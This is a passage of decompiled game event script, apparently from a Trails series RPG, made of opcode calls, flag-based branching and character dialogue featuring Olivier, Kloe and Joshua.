OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_37B8")
Jump("loc_37FA")
label("loc_37B8")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_37D4")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_37FA")
label("loc_37D4")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_37F0")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_37FA")
label("loc_37F0")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_37FA")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_391C")
ChrTalk( #91
0x19,
(
"#1545FHaha. It's been one fancy party after another \x01",
"for me lately.\x02\x03",
"#1540FSo truthfully, it's actually nice to have some\x01",
"time to sit and relax once in a while.\x02",
)
)
CloseMessageWindow()
ChrTalk( #92
0x10D,
(
"#272F...Does the possibility of 'doing some work'\x01",
"not occur to you?\x02",
)
)
CloseMessageWindow()
OP_A2(0xE)
Jump("loc_3997")
label("loc_391C")
TalkBegin(0xFE)
ChrTalk( #93
0x19,
(
"#1545FBe sure to work Mueller to the bone in my place,\x01",
"my wonderful friends.\x02\x03",
"He knows how to make himself useful.\x02",
)
)
CloseMessageWindow()
label("loc_3997")
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_3BF5")
label("loc_39A2")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_3B6D")
SetChrFlags(0x19, 0x10)
TalkBegin(0x19)
OP_4A(0x19, 255)
OP_4A(0x14, 255)
ChrTalk( #94
0x19,
(
"#1542F...No. I think it's safe to say that His Excellency\x01",
"the Chancellor isn't in any way involved in this.\x02\x03",
"This is far too roundabout a plan of attack even\x01",
"for him.\x02\x03",
"#1551FI can't be so sure that Ouroboros isn't, however...\x02",
)
)
CloseMessageWindow()
ChrTalk( #95
0x14,
(
"#272FWell, I can't disagree that this doesn't feel like\x01",
"something he would do.\x02\x03",
"#276FNot least because if he wanted to harm you,\x01",
"he had plenty of chances to do so in Heimdallr.\x02",
)
)
CloseMessageWindow()
OP_A2(0xE)
ClearChrFlags(0x19, 0x10)
OP_4B(0x19, 255)
OP_4B(0x14, 255)
TalkEnd(0x19)
Jump("loc_3BF5")
label("loc_3B6D")
TalkBegin(0xFE)
ChrTalk( #96
0x19,
(
"#1540FGreetings! How fares the investigation?\x02\x03",
"#1541FIf you find anything out, do come and let me know.\x01",
"I'm ever so curious.\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
label("loc_3BF5")
Jump("loc_46BC")
label("loc_3BF8")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 0)), scpexpr(EXPR_END)), "loc_46BC")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_43BD")
OP_4A(0x17, 255)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_3C1D")
OP_4A(0x14, 255)
label("loc_3C1D")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xD)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0x7)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_3C3A")
OP_4A(0x13, 255)
label("loc_3C3A")
SetChrFlags(0x19, 0x10)
TalkBegin(0x19)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_3DE7")
OP_51(0x105, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x19)
ClearChrFlags(0x19, 0x10)
TurnDirection(0x19, 0x105, 0)
OP_51(0x19, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_3CE0")
Jump("loc_3D22")
label("loc_3CE0")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_3CFC")
OP_51(0x19, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_3D22")
label("loc_3CFC")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_3D18")
OP_51(0x19, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_3D22")
label("loc_3D18")
OP_51(0x19, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_3D22")
OP_51(0x19, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x105, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x105, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x19, 0x10)
ChrTalk( #97
0x105,
(
"#1382FHow have you been since we last met, \x01",
"Your Highness?\x02\x03",
"Word of your popularity in Erebonian high\x01",
"society has been reaching us over in Liberl,\x01",
"too.\x02",
)
)
CloseMessageWindow()
Jump("loc_3E89")
label("loc_3DE7")
SetChrSubChip(0x19, 0)
ChrTalk( #98
0x17,
(
"#1382FHow have you been since we last met, \x01",
"Your Highness?\x02\x03",
"Word of your popularity in Erebonian high\x01",
"society has been reaching us over in Liberl,\x01",
"too.\x02",
)
)
CloseMessageWindow()
label("loc_3E89")
ChrTalk( #99
0x19,
(
"#1545FWell, I'm doing a good enough job of convincing\x01",
"them I'm little more than an elegant-yet-harmless\x01",
"prince at the moment.\x02\x03",
"#1542FStill, spending so much of my time pretending to \x01",
"be someone I'm not can be terribly exhausting.\x02\x03",
"#1544FSo I'm biding my time and waiting for the perfect\x01",
"chance to cast it all aside and reveal my true form\x01",
"to the world...\x02",
)
)
CloseMessageWindow()
Sleep(500)
ChrTalk( #100
0x19,
"#1541F#3SThen all shall know Olivier, the Gospeler of Love!\x02",
)
OP_7C(0x0, 0xC8, 0xBB8, 0x64)
CloseMessageWindow()
OP_62(0x19, 0x12C, 1600, 0x36, 0x39, 0xFA, 0x0)
OP_22(0x89, 0x0, 0x64)
Sleep(2000)
OP_62(0x0, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
OP_62(0x1, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
OP_62(0x2, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
OP_62(0x3, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_40E5")
OP_62(0x17, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
label("loc_40E5")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_410A")
OP_62(0x14, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
label("loc_410A")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xD)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0x7)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_413A")
OP_62(0x13, 0x0, 2000, 0x10, 0x13, 0xFA, 0x1)
OP_22(0x31, 0x0, 0x64)
label("loc_413A")
Sleep(1000)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4167")
ChrTalk( #101
0x10D,
"#274FYou moron...\x02",
)
CloseMessageWindow()
Jump("loc_417E")
label("loc_4167")
ChrTalk( #102
0x14,
"#274FYou moron...\x02",
)
CloseMessageWindow()
label("loc_417E")
ChrTalk( #103
0x109,
(
"#1068F'Gospeler of Love'? THAT'S what you're going\x01",
"with?\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4244")
ChrTalk( #104
0x102,
(
"#1508FWho else thinks he's going to be even more of\x01",
"a menace to society than the black orbment\x01",
"Gospels ever were?\x02",
)
)
CloseMessageWindow()
Jump("loc_42BB")
label("loc_4244")
ChrTalk( #105
0x16,
(
"#1508FWho else thinks he's going to be even more of\x01",
"a menace to society than the black orbment\x01",
"Gospels ever were?\x02",
)
)
CloseMessageWindow()
label("loc_42BB")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4320")
ChrTalk( #106
0x105,
(
"#1165FHeehee. It's reassuring to see how little\x01",
"he's changed at heart, though.\x02",
)
)
CloseMessageWindow()
Jump("loc_4374")
label("loc_4320")
ChrTalk( #107
0x17,
(
"#1165FHeehee. It's reassuring to see how little\x01",
"he's changed at heart, though.\x02",
)
)
CloseMessageWindow()
label("loc_4374")
OP_63(0x19)
OP_4B(0x17, 255)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_438D")
OP_4B(0x14, 255)
label("loc_438D")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xD)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0x7)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_43AA")
OP_4B(0x13, 255)
label("loc_43AA")
SetChrSubChip(0x19, 0)
ClearChrFlags(0x19, 0x10)
TalkEnd(0x19)
OP_A2(0x2660)
Jump("loc_46BC")
label("loc_43BD")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x19)
ClearChrFlags(0x19, 0x10)
TurnDirection(0x19, 0x0, 0)
OP_51(0x19, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_444D")
Jump("loc_448F")
label("loc_444D")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_4469")
OP_51(0x19, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_448F")
label("loc_4469")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_4485")
OP_51(0x19, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_448F")
label("loc_4485")
OP_51(0x19, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x19, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_448F")
OP_51(0x19, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x19, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x19, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_45CF")
ChrTalk( #108
0x19,
(
"#1545FStill, the thought of that ghost has yet to\x01",
"leave my mind since I first heard about her.\x02\x03",
"Just imagine the spirit of a beautiful woman,\x01",
"left all alone in this empty realm...\x02\x03",
"#1547FHahaha! Doesn't the thought just get your\x01",
"imagination racing?\x02",
)
)
CloseMessageWindow()
ChrTalk( #109
0x102,
"#1508F...\x02",
)
CloseMessageWindow()
OP_A2(0xE)
Jump("loc_46B4")
label("loc_45CF")
ChrTalk( #110
0x19,
(
"#1540FStill, the thought of that ghost has yet to\x01",
"leave my mind since I first heard about her.\x02\x03",
"I wonder whether this garden's appearance is\x01",
"a reflection of her interests?\x02\x03",
"#1541FIf so, I have to commend her for her tastes.\x02",
)
)
CloseMessageWindow()
label("loc_46B4")
SetChrSubChip(0x19, 0)
TalkEnd(0x19)
label("loc_46BC")
Return()
# Function_5_2D90 end
def Function_6_46BD(): pass
label("Function_6_46BD")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_4D62")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4C8, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CD, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_4954")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_476C")
Jump("loc_47AE")
label("loc_476C")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_4788")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_47AE")
label("loc_4788")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_47A4")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_47AE")
label("loc_47A4")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_47AE")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #111
0x17,
(
"#1383FSo...\x02\x03",
"#1382F...you got to say farewell, Joshua?\x02",
)
)
CloseMessageWindow()
OP_62(0x102, 0x0, 2000, 0x2, 0x7, 0x50, 0x1)
OP_22(0x27, 0x0, 0x64)
Sleep(1000)
ChrTalk( #112
0x102,
(
"#1513F...Yeah. Thanks.\x02\x03",
"#1514FI'm impressed you worked that out without me\x01",
"saying anything, Kloe. Heh. You're too sharp\x01",
"for your own good.\x02",
)
)
CloseMessageWindow()
ChrTalk( #113
0x17,
(
"#1165FAww. Hardly.\x02\x03",
"#1168FYou just look like a huge burden's been lifted\x01",
"from your shoulders, that's all. Kind of gave it\x01",
"away to me.\x02",
)
)
CloseMessageWindow()
OP_A2(0x2669)
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_4D5F")
label("loc_4954")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_4BA5")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xA)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4B11")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_49FA")
Jump("loc_4A3C")
label("loc_49FA")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_4A16")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_4A3C")
label("loc_4A16")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_4A32")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_4A3C")
label("loc_4A32")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_4A3C")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #114
0x17,
(
"#1164FOh... Umm...\x02\x03",
"#1382FHeehee. I'm just taking a break for now.\x02\x03",
"#1165FI got a little too engrossed in reading the\x01",
"books over in the library area, you see. \x02",
)
)
CloseMessageWindow()
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_4B9F")
label("loc_4B11")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #115
0x17,
(
"#1165FA-Ahaha... Sorry, Josette.\x02\x03",
